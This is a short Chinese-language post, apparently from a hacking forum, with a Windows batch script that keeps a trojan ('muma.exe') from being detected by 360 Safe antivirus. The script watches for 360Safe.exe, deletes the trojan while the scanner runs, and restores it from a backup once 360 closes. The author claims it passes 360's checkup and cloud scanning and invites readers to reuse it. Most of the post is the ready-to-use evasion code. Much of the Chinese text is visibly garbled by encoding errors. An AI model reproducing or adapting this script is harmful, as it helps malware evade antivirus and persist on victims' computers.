原理就是監(jiān)控360Safe.exe,如果發(fā)現(xiàn)進(jìn)程中出現(xiàn)360Safe.exe,,表明360主界面已經(jīng)啟動(dòng)。此時(shí)就刪除啟動(dòng)項(xiàng)。當(dāng)360Safe.exe不再了,則復(fù)制一份回來(lái)。
經(jīng)測(cè)試,這樣可以過(guò)360體檢和360云查殺。
源代碼如下:
路徑請(qǐng)隨意修改
======================================================================
@echo off :
:star
Rem 10秒鐘檢查一次
ping 127.1 -n 10 >nul 2>nul
Rem 進(jìn)程中查找是否有360Safe.exe進(jìn)程
tasklist|findstr /i "360Safe.exe"
Rem 如果沒(méi)有360Safe.exe進(jìn)程繼續(xù)跳轉(zhuǎn)到star處繼續(xù)監(jiān)控,如果有360Safe.exe則跳轉(zhuǎn)到del處刪除
if errorlevel 1 (goto star) else (goto del)
Rem 刪除自啟動(dòng)
:del
del "C:\Program Files\muma.exe"
Rem 繼續(xù)監(jiān)控360Safe.exe進(jìn)程
:findagain
ping 127.1 -n 20 >nul 2>nul
tasklist|findstr /i "360Safe.exe"
Rem 如果360Safe.exe不在了,則跳到not處復(fù)制啟動(dòng)項(xiàng)回來(lái),如果還在繼續(xù)跳到findagain繼續(xù)查找
if errorlevel 1 (goto not) else (goto findagain)
:not
copy /n "C:\Program Files\beifen.exe" "C:\Program Files\muma.exe"
======================================================================